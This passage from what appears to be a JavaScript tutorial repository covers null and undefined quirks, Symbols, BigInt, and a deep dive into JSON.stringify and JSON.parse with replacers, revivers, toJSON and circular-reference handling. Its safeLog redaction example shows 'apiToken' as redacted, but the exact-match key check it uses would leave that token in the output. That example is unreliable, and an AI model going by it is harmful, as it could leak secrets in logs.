null` returns `'object'`, not `'null'`: ```javascript // ❌ Wrong — never works if (typeof value === 'null') { // This block never executes! } // ✓ Correct — direct comparison if (value === null) { // This works } ``` </Accordion> <Accordion title="Mixing BigInt and Number in operations"> You can't use `+`, `-`, `*`, `/` between BigInt and Number: ```javascript // ❌ TypeError 10n + 5 BigInt(10) * 3 // ✓ Convert to the same type first 10n + BigInt(5) // 15n Number(10n) + 5 // 15 ``` </Accordion> <Accordion title="Expecting instanceof to work with primitives"> `instanceof` checks the prototype chain, which primitives don't have: ```javascript // ❌ Always false for primitives 'hello' instanceof String // false 42 instanceof Number // false // ✓ Use typeof for primitives typeof 'hello' === 'string' // true typeof 42 === 'number' // true ``` </Accordion> <Accordion title="Not handling both null and undefined"> When checking for missing values, remember there are two: ```javascript // ❌ Incomplete — misses undefined if (value === null) { return 'No value' } // ✓ Complete — handles both if (value == null) { // Loose equality catches both return 'No value' } // ✓ Also complete if (value === null || value === undefined) { return 'No value' } ``` </Accordion> <Accordion title="Forgetting Symbol properties are hidden"> Symbol-keyed properties don't show up in normal iteration: ```javascript const secret = Symbol('secret') const obj = { visible: 'hello', [secret]: 'hidden' } // ❌ Symbol properties are invisible here Object.keys(obj) // ['visible'] JSON.stringify(obj) // '{"visible":"hello"}' for (const key in obj) // Only 'visible' // ✓ Use these to access Symbol properties Object.getOwnPropertySymbols(obj) // [Symbol(secret)] Reflect.ownKeys(obj) // ['visible', Symbol(secret)] ``` </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember about JavaScript type nuances:** 1. **undefined means uninitialized, null means intentionally empty** — JavaScript returns `undefined` automatically; use `null` to explicitly indicate "no value" 2. **typeof null === 'object' is a bug** — It's a historical quirk that can't be fixed. Use `value === null` for null checks 3. **Use ?? instead of || for defaults** — Nullish coalescing (`??`) only triggers on `null`/`undefined`, preserving valid values like `0` and `''` 4. **Optional chaining (?.) prevents TypeError** — It short-circuits to `undefined` instead of throwing when accessing properties on null/undefined 5. **Symbols are guaranteed unique** — Every `Symbol()` call creates a new unique value, solving property name collision problems 6. **Well-known symbols customize object behavior** — `Symbol.iterator`, `Symbol.hasInstance`, and others let you hook into JavaScript's built-in operations 7. **instanceof checks the prototype chain** — It tests if a constructor's prototype exists in an object's chain, not the object's type 8. **BigInt handles integers beyond 2^53** — Use the `n` suffix or `BigInt()` for numbers larger than `Number.MAX_SAFE_INTEGER` 9. **BigInt and Number don't mix** — Convert explicitly with `BigInt()` or `Number()` before combining them 10. **Use == null to check for both null and undefined** — This is the one case where loose equality is preferred </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between null and undefined?"> **Answer:** `undefined` means a variable exists but hasn't been assigned a value. JavaScript uses it automatically for uninitialized variables, missing object properties, and functions without return statements. `null` is an explicit assignment meaning "intentionally empty" or "no value." Developers use it to indicate that a variable should have no value. ```javascript let x // undefined (uninitialized) let y = null // null (intentionally empty) typeof x // 'undefined' typeof y // 'object' (bug!) x == y // true (loose equality) x === y // false (strict equality) ``` </Accordion> <Accordion title="Question 2: What's the output of these expressions?"> ```javascript 0 || 'fallback' 0 ?? 'fallback' '' || 'fallback' '' ?? 'fallback' ``` **Answer:** ```javascript 0 || 'fallback' // 'fallback' — 0 is falsy 0 ?? 'fallback' // 0 — 0 is not nullish '' || 'fallback' // 'fallback' — '' is falsy '' ?? 'fallback' // '' — '' is not nullish ``` `||` triggers on any falsy value (`false`, `0`, `''`, `null`, `undefined`, `NaN`). `??` only triggers on `null` or `undefined`. </Accordion> <Accordion title="Question 3: Why does typeof null return 'object'?"> **Answer:** It's a bug from the first version of JavaScript in 1995. In the original implementation, values were stored with a type tag. Objects had type tag `0`. `null` was represented as the NULL pointer (`0x00`), which also had type tag `0`. So `typeof null` returned `'object'`. This bug can never be fixed because it would break too much existing code. To check for `null`, use `value === null` instead. </Accordion> <Accordion title="Question 4: How would you check if a value is null OR undefined in one condition?"> **Answer:** Use loose equality with `null`: ```javascript // This catches both null and undefined if (value == null) { console.log('No value') } // This is equivalent but more verbose if (value === null || value === undefined) { console.log('No value') } ``` Loose equality (`==`) treats `null` and `undefined` as equal to each other (and nothing else), making it perfect for this use case. </Accordion> <Accordion title="Question 5: What's the difference between Symbol('id') and Symbol.for('id')?"> **Answer:** `Symbol('id')` creates a new unique symbol every time. Two calls with the same description still produce different symbols: ```javascript Symbol('id') === Symbol('id') // false ``` `Symbol.for('id')` creates a symbol in the global registry. Subsequent calls with the same key return the same symbol: ```javascript Symbol.for('id') === Symbol.for('id') // true ``` Use `Symbol()` for private, local symbols. Use `Symbol.for()` when you need to share a symbol across different parts of your code or even different iframes. </Accordion> <Accordion title="Question 6: Why can't you do 10n + 5 in JavaScript?"> **Answer:** JavaScript doesn't allow mixing BigInt and Number in arithmetic operations. This is a deliberate design choice to prevent accidental precision loss: ```javascript 10n + 5 // TypeError: Cannot mix BigInt and other types ``` To fix it, convert to the same type first: ```javascript 10n + BigInt(5) // 15n Number(10n) + 5 // 15 ``` Be careful with `Number()` conversion. For very large BigInt values, you'll lose precision because Number can only safely represent integers up to 2^53 - 1. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="Why does typeof null return 'object' in JavaScript?"> This is a well-known bug dating back to the original JavaScript implementation in 1995. Values were stored with type tags, and `null` used the same tag (`0`) as objects. A TC39 proposal to fix this was rejected because it would have broken too many existing websites. Use `value === null` to check for null instead of `typeof`. </Accordion> <Accordion title="What is the difference between == null and === null?"> Using `== null` (loose equality) checks for both `null` and `undefined` in one condition — this is because the ECMAScript specification defines `null == undefined` as `true`. Using `=== null` (strict equality) only matches `null`. Most style guides recommend `== null` as the one acceptable use of loose equality. </Accordion> <Accordion title="When should I use ?? instead of || for default values?"> Use `??` (nullish coalescing) when `0`, `""`, or `false` are valid values you want to preserve. The `||` operator replaces any falsy value, while `??` only replaces `null` and `undefined`. For example, `userCount ?? 10` keeps `0` as a valid count, whereas `userCount || 10` would replace it with `10`. </Accordion> <Accordion title="What are JavaScript Symbols used for?"> Symbols create guaranteed unique property keys that prevent name collisions between different parts of a codebase. They are also used as "well-known symbols" (like `Symbol.iterator` and `Symbol.hasInstance`) to customize built-in JavaScript behavior. MDN documents 13 well-known symbols in the current specification. </Accordion> <Accordion title="Can BigInt and Number be mixed in calculations?"> No. JavaScript throws a `TypeError` if you try to combine BigInt and Number in arithmetic operations like `10n + 5`. This is a deliberate design choice to prevent accidental precision loss. You must explicitly convert using `BigInt(5)` or `Number(10n)` before combining them. </Accordion> <Accordion title="How do I safely check for null or undefined?"> The recommended approach is to use `value == null`, which catches both `null` and `undefined` thanks to JavaScript's loose equality rules. Alternatively, use `value ?? 'default'` with nullish coalescing to provide a fallback value. For property access, use optional chaining (`obj?.prop`) to avoid `TypeError` on null or undefined objects. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Primitive Types" icon="cube" href="/concepts/primitive-types"> The foundation for understanding JavaScript's seven primitive types </Card> <Card title="Type Coercion" icon="shuffle" href="/concepts/type-coercion"> How JavaScript converts between types automatically </Card> <Card title="Equality Operators" icon="equals" href="/concepts/equality-operators"> The difference between == and === and when to use each </Card> <Card title="Temporal Dead Zone" icon="clock" href="/beyond/concepts/temporal-dead-zone"> Why typeof throws for let/const before declaration </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="null — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null"> Official documentation for the null primitive value </Card> <Card title="undefined — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"> Reference for the undefined global property </Card> <Card title="typeof — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof"> Complete reference for the typeof operator and its return values </Card> <Card title="Nullish Coalescing (??) — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing"> Documentation for the nullish coalescing operator </Card> <Card title="Optional Chaining (?.) — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining"> Reference for safe property access with optional chaining </Card> <Card title="Symbol — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol"> Complete guide to the Symbol primitive and well-known symbols </Card> <Card title="BigInt — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt"> Documentation for arbitrary-precision integers in JavaScript </Card> <Card title="instanceof — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof"> Reference for the instanceof operator and prototype chain checking </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="JavaScript Data Types — javascript.info" icon="newspaper" href="https://javascript.info/types"> Comprehensive coverage of all JavaScript types including null, undefined, and Symbol. Includes interactive exercises to test understanding. </Card> <Card title="The History of typeof null — Dr. Axel Rauschmayer" icon="newspaper" href="https://2ality.com/2013/10/typeof-null.html"> Deep dive into why typeof null returns 'object'. Explains the original JavaScript implementation and why this bug can never be fixed. </Card> <Card title="ES2020 Nullish Coalescing and Optional Chaining — V8 Blog" icon="newspaper" href="https://v8.dev/features/nullish-coalescing"> Official V8 blog explaining the rationale behind ?? and ?. operators. Includes performance considerations and edge cases. </Card> <Card title="JavaScript Symbols — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/understanding-javascript-symbols/"> Practical introduction to Symbols with real-world use cases. Great for understanding when and why you'd actually use Symbols in production. </Card> <Card title="BigInt: Arbitrary Precision Integers — javascript.info" icon="newspaper" href="https://javascript.info/bigint"> Clear tutorial on BigInt covering creation, operations, and common pitfalls. Includes comparison with regular numbers and conversion gotchas. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JavaScript Symbols in 100 Seconds — Fireship" icon="video" href="https://www.youtube.com/watch?v=XTHuXLJlJSQ"> Quick, entertaining overview of what Symbols are and why they exist. Perfect starting point before diving deeper. </Card> <Card title="null vs undefined — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=qTGbWfEfJBw"> Beginner-friendly explanation of the differences between null and undefined. Covers when JavaScript uses each and best practices. </Card> <Card title="Optional Chaining and Nullish Coalescing — Fireship" icon="video" href="https://www.youtube.com/watch?v=v2tJ3nzXh8I"> Fast-paced tutorial on ?. and ?? operators. Shows practical patterns and how they solve real problems in modern JavaScript. </Card> <Card title="JavaScript typeof Operator — Programming with Mosh" icon="video" href="https://www.youtube.com/watch?v=FSs_JYwnAdI"> Clear walkthrough of typeof behavior including quirks and best practices. Good for understanding type checking in JavaScript. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/json-deep-dive.mdx ================================================ --- title: "JSON Deep Dive in JavaScript" sidebarTitle: "JSON: Beyond Parse and Stringify" description: "Learn advanced JSON in JavaScript. Understand JSON.stringify() replacers, JSON.parse() revivers, circular reference handling, and custom toJSON methods." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Data Handling" "article:tag": "json stringify parse, json replacer reviver, circular references, tojson method, serialization" --- How do you filter sensitive data when sending objects to an API? How do you revive Date objects from a JSON string? What happens when you try to stringify an object with circular references? ```javascript // Filter sensitive data during serialization const user = { name: 'Alice', password: 'secret123', role: 'admin' } const safeJSON = JSON.stringify(user, (key, value) => { if (key === 'password') return undefined // Excluded from output return value }) console.log(safeJSON) // '{"name":"Alice","role":"admin"}' ``` These are everyday challenges when working with **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** in JavaScript. While `JSON.parse()` and `JSON.stringify()` seem simple, they have powerful features most developers never discover. <Info> **What you'll learn in this guide:** - How replacer functions and arrays work in `JSON.stringify()` - How reviver functions transform data during `JSON.parse()` - The custom `toJSON()` method for controlling serialization - Why circular references throw errors and how to handle them - Strategies for serializing Dates, Maps, Sets, and BigInt - The `space` parameter for pretty-printing JSON - Common pitfalls and edge cases to avoid </Info> <Warning> **Prerequisites:** This guide assumes you understand basic JavaScript objects and functions. You should be comfortable with [Object Methods](/beyond/concepts/object-methods) and have used `JSON.parse()` and `JSON.stringify()` before. </Warning> --- ## What is JSON? **JSON** (JavaScript Object Notation) is a lightweight text format for storing and exchanging data. Originally specified by Douglas Crockford and formalized in [ECMA-404](https://ecma-international.org/publications-and-standards/standards/ecma-404/) and [RFC 8259](https://datatracker.ietf.org/doc/html/rfc8259), JSON is language-independent but derived from JavaScript syntax. JSON has become the standard format for APIs, configuration files, and data storage across the web. ```javascript // JSON is just text that represents data const jsonString = '{"name":"Alice","age":30,"isAdmin":true}' // Parse converts JSON text → JavaScript value const user = JSON.parse(jsonString) console.log(user.name) // "Alice" // Stringify converts JavaScript value → JSON text const backToJSON = JSON.stringify(user) console.log(backToJSON) // '{"name":"Alice","age":30,"isAdmin":true}' ``` <Tip> **JSON vs JavaScript Objects:** JSON syntax is a strict subset of JavaScript. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON), all JSON is valid JavaScript, but not all JavaScript objects can be represented as JSON. Functions, `undefined`, Symbols, and circular references don't have JSON equivalents. </Tip> --- ## The Post Office Analogy Think of `JSON.stringify()` and `JSON.parse()` like sending a package through the post office: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ JSON: THE DATA POST OFFICE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ SENDING (stringify) RECEIVING (parse) │ │ ────────────────── ───────────────── │ │ │ │ ┌──────────────┐ ┌──────────────┐ │ │ │ JS Object │ │ JSON String │ │ │ │ { name: ... }│ ───────────────────►│ '{"name":..}'│ │ │ └──────────────┘ JSON.stringify() └──────────────┘ │ │ │ │ • Package your data • Receive the package │ │ • Choose what to include (replacer) • Transform contents (reviver) │ │ • Format it nicely (space) • Unpack to JS objects │ │ │ │ Some items can't be shipped: │ │ • Functions (no delivery) │ │ • undefined (vanishes) │ │ • Circular references (rejected) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Just like a post office has rules about what you can ship, JSON has rules about what can be serialized. And just like you might want to inspect or modify packages, replacers and revivers let you transform data during the journey. --- ## JSON.stringify() in Depth The `JSON.stringify()` method has three parameters, but most developers only use the first: ```javascript JSON.stringify(value) JSON.stringify(value, replacer) JSON.stringify(value, replacer, space) ``` Let's explore each parameter and unlock the full power of serialization. ### Basic Serialization ```javascript // Objects JSON.stringify({ a: 1, b: 2 }) // '{"a":1,"b":2}' // Arrays JSON.stringify([1, 2, 3]) // '[1,2,3]' // Primitives JSON.stringify('hello') // '"hello"' JSON.stringify(42) // '42' JSON.stringify(true) // 'true' JSON.stringify(null) // 'null' ``` ### What Gets Lost in Serialization Not everything survives the stringify process: ```javascript const obj = { name: 'Alice', greet: function() { return 'Hi!' }, // Functions: OMITTED age: undefined, // undefined: OMITTED id: Symbol('id'), // Symbols: OMITTED count: NaN, // NaN: becomes null infinity: Infinity, // Infinity: becomes null nothing: null // null: preserved } console.log(JSON.stringify(obj)) // '{"name":"Alice","count":null,"infinity":null,"nothing":null}' ``` <Warning> **Lost in Translation:** Functions, `undefined`, and Symbol values are silently omitted from objects. In arrays, they become `null`. This can cause subtle bugs if you're not careful! </Warning> ```javascript // In arrays, these values become null instead of being omitted const arr = [1, undefined, function() {}, Symbol('x'), 2] JSON.stringify(arr) // '[1,null,null,null,2]' ``` --- ## The Replacer Parameter The second parameter to `JSON.stringify()` controls what gets included in the output. It can be either a function or an array. ### Replacer as a Function A replacer function is called for every key-value pair in the object: ```javascript function replacer(key, value) { // 'this' is the object containing the current property // 'key' is the property name (or index for arrays) // 'value' is the property value // Return the value to include, or undefined to exclude } ``` ```javascript const data = { name: 'Alice', password: 'secret123', email: 'alice@example.com', age: 30 } // Filter out sensitive data const safeJSON = JSON.stringify(data, (key, value) => { if (key === 'password') return undefined // Exclude if (key === 'email') return '***hidden***' // Transform return value // Keep everything else }) console.log(safeJSON) // '{"name":"Alice","email":"***hidden***","age":30}' ``` ### The Initial Call The replacer is called first with an empty string key and the entire object as the value: ```javascript JSON.stringify({ a: 1 }, (key, value) => { console.log(`key: "${key}", value:`, value) return value }) // Output: // key: "", value: { a: 1 } ← Initial call (root object) // key: "a", value: 1 ← Property 'a' ``` This lets you transform or replace the entire object: ```javascript // Wrap the entire output JSON.stringify({ x: 1 }, (key, value) => { if (key === '') { return { wrapper: value, timestamp: Date.now() } } return value }) // '{"wrapper":{"x":1},"timestamp":1704067200000}' ``` ### Replacer as an Array Pass an array of strings to include only specific properties: ```javascript const user = { id: 1, name: 'Alice', email: 'alice@example.com', password: 'secret', role: 'admin', createdAt: '2024-01-01' } // Only include these properties JSON.stringify(user, ['id', 'name', 'email']) // '{"id":1,"name":"Alice","email":"alice@example.com"}' ``` <Tip> **Array Replacer Limitation:** The array replacer only works for object properties, not nested objects. For deep filtering, use a replacer function. </Tip> --- ## The Space Parameter The third parameter adds whitespace for readability: ```javascript const data = { name: 'Alice', address: { city: 'NYC', zip: '10001' } } // No formatting (default) JSON.stringify(data) // '{"name":"Alice","address":{"city":"NYC","zip":"10001"}}' // With 2-space indentation JSON.stringify(data, null, 2) /* { "name": "Alice", "address": { "city": "NYC", "zip": "10001" } } */ // With tab indentation JSON.stringify(data, null, '\t') /* { "name": "Alice", "address": { "city": "NYC", "zip": "10001" } } */ ``` The space parameter can be: - A number (0-10): Number of spaces for indentation - A string (max 10 chars): The string to use for indentation ```javascript // Custom indentation string JSON.stringify({ a: 1, b: 2 }, null, '→ ') /* { → "a": 1, → "b": 2 } */ ``` --- ## JSON.parse() in Depth The `JSON.parse()` method converts a JSON string back into a JavaScript value: ```javascript JSON.parse(text) JSON.parse(text, reviver) ``` ### Basic Parsing ```javascript JSON.parse('{"name":"Alice","age":30}') // { name: 'Alice', age: 30 } JSON.parse('[1, 2, 3]') // [1, 2, 3] JSON.parse('"hello"') // 'hello' JSON.parse('42') // 42 JSON.parse('true') // true JSON.parse('null') // null ``` ### Invalid JSON Throws Errors ```javascript // Missing quotes around keys (valid JS, invalid JSON) JSON.parse('{name: "Alice"}') // SyntaxError // Single quotes (valid JS, invalid JSON) JSON.parse("{'name': 'Alice'}") // SyntaxError // Trailing comma (valid JS, invalid JSON) JSON.parse('{"a": 1,}') // SyntaxError // Comments (not allowed in JSON) JSON.parse('{"a": 1 /* comment */}') // SyntaxError ``` <Warning> **JSON is Strict:** Unlike JavaScript object literals, JSON requires double quotes around property names and string values. No trailing commas, no comments, no single quotes. </Warning> --- ## The Reviver Parameter The reviver function transforms values during parsing, working from the innermost values outward: ```javascript function reviver(key, value) { // 'this' is the object containing the current property // 'key' is the property name // 'value' is the already-parsed value // Return the transformed value, or undefined to delete } ``` ### Reviving Dates Dates are a classic use case for revivers. JSON has no Date type, so dates become strings: ```javascript const json = '{"name":"Alice","createdAt":"2024-01-15T10:30:00.000Z"}' // Without reviver: date is just a string const obj1 = JSON.parse(json) console.log(obj1.createdAt) // "2024-01-15T10:30:00.000Z" (string) console.log(obj1.createdAt.getTime()) // TypeError: not a function // With reviver: date is a Date object const obj2 = JSON.parse(json, (key, value) => { // Check if value looks like an ISO date string if (typeof value === 'string' && /^\d{4}-\d{2}-\d{2}T/.test(value)) { return new Date(value) } return value }) console.log(obj2.createdAt) // Date object console.log(obj2.createdAt.getTime()) // 1705315800000 ``` ### Processing Order The reviver processes values from innermost to outermost: ```javascript JSON.parse('{"a":{"b":1},"c":2}', (key, value) => { console.log(`key: "${key}", value:`, value) return value }) // Output (note the order): // key: "b", value: 1 ← Innermost first // key: "a", value: { b: 1 } ← Then containing object // key: "c", value: 2 ← Sibling // key: "", value: {...} ← Root object last ``` ### Filtering During Parse Return `undefined` from a reviver to delete a property: ```javascript const json = '{"name":"Alice","__internal":true,"id":1}' const cleaned = JSON.parse(json, (key, value) => { // Remove any properties starting with __ if (key.startsWith('__')) return undefined return value }) console.log(cleaned) // { name: 'Alice', id: 1 } ``` --- ## Custom toJSON() Methods When `JSON.stringify()` encounters an object with a `toJSON()` method, it calls that method and uses its return value instead: ```javascript const user = { name: 'Alice', password: 'secret123', toJSON() { // Return what should be serialized return { name: this.name } // Password excluded } } JSON.stringify(user) // '{"name":"Alice"}' ``` ### Built-in toJSON() Some built-in objects already have `toJSON()` methods: ```javascript // Date has toJSON() that returns ISO string const date = new Date('2024-01-15T10:30:00Z') JSON.stringify(date) // '"2024-01-15T10:30:00.000Z"' JSON.stringify({ created: date }) // '{"created":"2024-01-15T10:30:00.000Z"}' ``` ### toJSON with Classes ```javascript class User { constructor(name, email, password) { this.name = name this.email = email this.password = password this.createdAt = new Date() } toJSON() { return { name: this.name, email: this.email, // Exclude password // Convert Date to ISO string explicitly createdAt: this.createdAt.toISOString() } } } const user = new User('Alice', 'alice@example.com', 'secret') JSON.stringify(user) // '{"name":"Alice","email":"alice@example.com","createdAt":"2024-01-15T..."}' ``` ### toJSON Receives the Key The `toJSON()` method receives the property key as an argument: ```javascript const obj = { toJSON(key) { return key ? `Nested under "${key}"` : 'Root level' } } JSON.stringify(obj) // '"Root level"' JSON.stringify({ data: obj }) // '{"data":"Nested under \\"data\\""}' JSON.stringify([obj]) // '["Nested under \\"0\\""]' ``` --- ## Handling Circular References Circular references occur when an object references itself, directly or indirectly: ```javascript const obj = { name: 'Alice' } obj.self = obj // Circular reference! JSON.stringify(obj) // TypeError: Converting circular structure to JSON ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ CIRCULAR REFERENCE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ const obj = { name: 'Alice' } │ │ obj.self = obj │ │ │ │ ┌──────────────────┐ │ │ │ obj │ │ │ │ │ │ │ │ name: 'Alice' │ │ │ │ self: ─────────────┐ │ │ │ │ │ │ │ └──────────────────┘ │ │ │ ▲ │ │ │ └──────────────┘ (points back to itself) │ │ │ │ JSON can't represent this - it would be infinitely long! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Detecting Circular References Use a replacer function with a WeakSet to track seen objects: ```javascript function safeStringify(obj) { const seen = new WeakSet() return JSON.stringify(obj, (key, value) => { // Only check objects (not primitives) if (typeof value === 'object' && value !== null) { if (seen.has(value)) { return '[Circular Reference]' // Or return undefined to omit } seen.add(value) } return value }) } const obj = { name: 'Alice' } obj.self = obj console.log(safeStringify(obj)) // '{"name":"Alice","self":"[Circular Reference]"}' ``` ### Real-World Example: DOM Nodes DOM elements often have circular references through parent/child relationships: ```javascript // In a browser environment: // const div = document.createElement('div') // JSON.stringify(div) // TypeError: circular structure // Solution: Extract only the data you need function serializeDOMNode(node) { return JSON.stringify({ tagName: node.tagName, id: node.id, className: node.className, childCount: node.children.length }) } ``` --- ## Serializing Special Types ### Dates ```javascript // Dates serialize as ISO strings automatically const event = { name: 'Meeting', date: new Date('2024-06-15') } const json = JSON.stringify(event) // '{"name":"Meeting","date":"2024-06-15T00:00:00.000Z"}' // Revive them back to Date objects const parsed = JSON.parse(json, (key, value) => { if (key === 'date') return new Date(value) return value }) ``` ### Maps and Sets Maps and Sets serialize as empty objects by default: ```javascript const map = new Map([['a', 1], ['b', 2]]) JSON.stringify(map) // '{}' - Not what we want! const set = new Set([1, 2, 3]) JSON.stringify(set) // '{}' - Also empty! ``` **Solution:** Convert to arrays: ```javascript // Custom replacer for Map and Set function replacer(key, value) { if (value instanceof Map) { return { __type: 'Map', entries: Array.from(value.entries()) } } if (value instanceof Set) { return { __type: 'Set', values: Array.from(value) } } return value } // Custom reviver function reviver(key, value) { if (value && value.__type === 'Map') { return new Map(value.entries) } if (value && value.__type === 'Set') { return new Set(value.values) } return value } // Usage const data = { users: new Map([['alice', { age: 30 }], ['bob', { age: 25 }]]), tags: new Set(['javascript', 'tutorial']) } const json = JSON.stringify(data, replacer, 2) console.log(json) /* { "users": { "__type": "Map", "entries": [["alice", {"age": 30}], ["bob", {"age": 25}]] }, "tags": { "__type": "Set", "values": ["javascript", "tutorial"] } } */ const restored = JSON.parse(json, reviver) console.log(restored.users instanceof Map) // true console.log(restored.tags instanceof Set) // true ``` ### BigInt BigInt values throw an error by default: ```javascript const data = { bigNumber: 12345678901234567890n } JSON.stringify(data) // TypeError: Do not know how to serialize a BigInt ``` **Solution:** Use `toJSON()` on BigInt prototype (with caution) or a replacer: ```javascript // Option 1: Replacer function function bigIntReplacer(key, value) { if (typeof value === 'bigint') { return { __type: 'BigInt', value: value.toString() } } return value } function bigIntReviver(key, value) { if (value && value.__type === 'BigInt') { return BigInt(value.value) } return value } const data = { id: 9007199254740993n } // Too big for Number const json = JSON.stringify(data, bigIntReplacer) // '{"id":{"__type":"BigInt","value":"9007199254740993"}}' const restored = JSON.parse(json, bigIntReviver) console.log(restored.id) // 9007199254740993n ``` --- ## Common Patterns and Use Cases ### Deep Clone (Simple Objects) ```javascript // Quick deep clone (only for JSON-safe objects) const original = { a: 1, b: { c: 2 } } const clone = JSON.parse(JSON.stringify(original)) clone.b.c = 999 console.log(original.b.c) // 2 (unchanged) ``` <Warning> **Deep Clone Limitations:** This method loses functions, undefined values, Symbols, and prototype chains. For complex objects, use `structuredClone()` instead. </Warning> ### Local Storage Wrapper ```javascript const storage = { set(key, value) { localStorage.setItem(key, JSON.stringify(value)) }, get(key, defaultValue = null) { const item = localStorage.getItem(key) if (item === null) return defaultValue try { return JSON.parse(item) } catch { return defaultValue } }, remove(key) { localStorage.removeItem(key) } } // Usage storage.set('user', { name: 'Alice', preferences: { theme: 'dark' } }) const user = storage.get('user') ``` ### API Response Transformation ```javascript // Transform API response during parsing async function fetchUser(id) { const response = await fetch(`/api/users/${id}`) const text = await response.text() return JSON.parse(text, (key, value) => { // Convert date strings to Date objects if (key.endsWith('At') && typeof value === 'string') { return new Date(value) } // Convert cent amounts to dollars if (key.endsWith('Cents') && typeof value === 'number') { return value / 100 } return value }) } ``` ### Logging with Redaction ```javascript function safeLog(obj, sensitiveKeys = ['password', 'token', 'secret']) { const redacted = JSON.stringify(obj, (key, value) => { if (sensitiveKeys.includes(key.toLowerCase())) { return '[REDACTED]' } return value }, 2) console.log(redacted) } safeLog({ user: 'alice', password: 'secret123', data: { apiToken: 'abc123' } }) /* { "user": "alice", "password": "[REDACTED]", "data": { "apiToken": "[REDACTED]" } } */ ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **JSON.stringify() has 3 parameters:** value, replacer, and space. Most developers only use the first. 2. **Replacer can be a function or array.** Functions transform each value; arrays whitelist properties. 3. **Not everything survives stringify.** Functions, undefined, and Symbols are lost. NaN and Infinity become null. 4. **JSON.parse() revivers work inside-out.** Innermost values are processed first, root object last. 5. **Dates become strings.** Use a reviver to convert them back to Date objects. 6. **Maps and Sets become empty objects.** You need custom replacer/reviver pairs to preserve them. 7. **BigInt throws by default.** Use a replacer to convert to strings or marked objects. 8. **Circular references throw errors.** Track seen objects with a WeakSet in your replacer. 9. **toJSON() controls serialization.** Objects with this method return its result instead of themselves. 10. **For deep cloning, consider structuredClone().** JSON round-tripping loses too much for complex objects. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What happens when you stringify an object with a function property?"> **Answer:** Function properties are silently omitted from the JSON output: ```javascript const obj = { name: 'Alice', greet: function() { return 'Hi!' } } JSON.stringify(obj) // '{"name":"Alice"}' // The 'greet' property is completely missing ``` The same applies to `undefined` values and Symbol keys. In arrays, these values become `null` instead of being omitted. </Accordion> <Accordion title="How do you exclude specific properties during serialization?"> **Answer:** You have two options: **Option 1: Array replacer (simple whitelist)** ```javascript const user = { id: 1, name: 'Alice', password: 'secret' } JSON.stringify(user, ['id', 'name']) // '{"id":1,"name":"Alice"}' ``` **Option 2: Function replacer (more flexible)** ```javascript JSON.stringify(user, (key, value) => { if (key === 'password') return undefined // Exclude return value }) ``` The function approach is more powerful because it can handle nested objects and conditional logic. </Accordion> <Accordion title="Why does JSON.parse() of a date string not return a Date object?"> **Answer:** JSON has no native Date type. When you `stringify` a Date, it becomes an ISO 8601 string. When you `parse` that string, JavaScript has no way to know it was originally a Date: ```javascript const original = { created: new Date() } const json = JSON.stringify(original) // '{"created":"2024-01-15T10:30:00.000Z"}' const parsed = JSON.parse(json) console.log(typeof parsed.created) // "string" (not Date!) ``` Use a reviver function to convert date strings back to Date objects: ```javascript JSON.parse(json, (key, value) => { if (key === 'created') return new Date(value) return value }) ``` </Accordion> <Accordion title="What's the difference between replacer and toJSON()?"> **Answer:** - **`toJSON()`** is defined on the object being serialized. It controls how that specific object is converted. - **Replacer** is passed to `stringify()` and runs on every value in the entire object tree. ```javascript // toJSON: Object controls its own serialization const user = { name: 'Alice', password: 'secret', toJSON() { return { name: this.name } // Hides password } } // Replacer: External control over all values JSON.stringify(data, (key, value) => { if (key === 'password') return undefined return value }) ``` When both are present, `toJSON()` runs first, then the replacer processes its result. </Accordion> <Accordion title="How do you handle circular references?"> **Answer:** Use a WeakSet to track objects you've already seen: ```javascript function safeStringify(obj) { const seen = new WeakSet() return JSON.stringify(obj, (key, value) => { if (typeof value === 'object' && value !== null) { if (seen.has(value)) { return '[Circular]' } seen.add(value) } return value }) } const obj = { name: 'test' } obj.self = obj safeStringify(obj) // '{"name":"test","self":"[Circular]"}' ``` WeakSet is ideal here because it doesn't prevent garbage collection and only stores objects. </Accordion> <Accordion title="How do you pretty-print JSON with custom indentation?"> **Answer:** Use the third parameter (`space`) of `JSON.stringify()`: ```javascript const data = { name: 'Alice', age: 30 } // 2-space indentation JSON.stringify(data, null, 2) // 4-space indentation JSON.stringify(data, null, 4) // Tab indentation JSON.stringify(data, null, '\t') // Custom string (max 10 characters) JSON.stringify(data, null, '>> ') ``` Numbers are clamped to 10, and strings are truncated to 10 characters. </Accordion> </AccordionGroup> --- ## 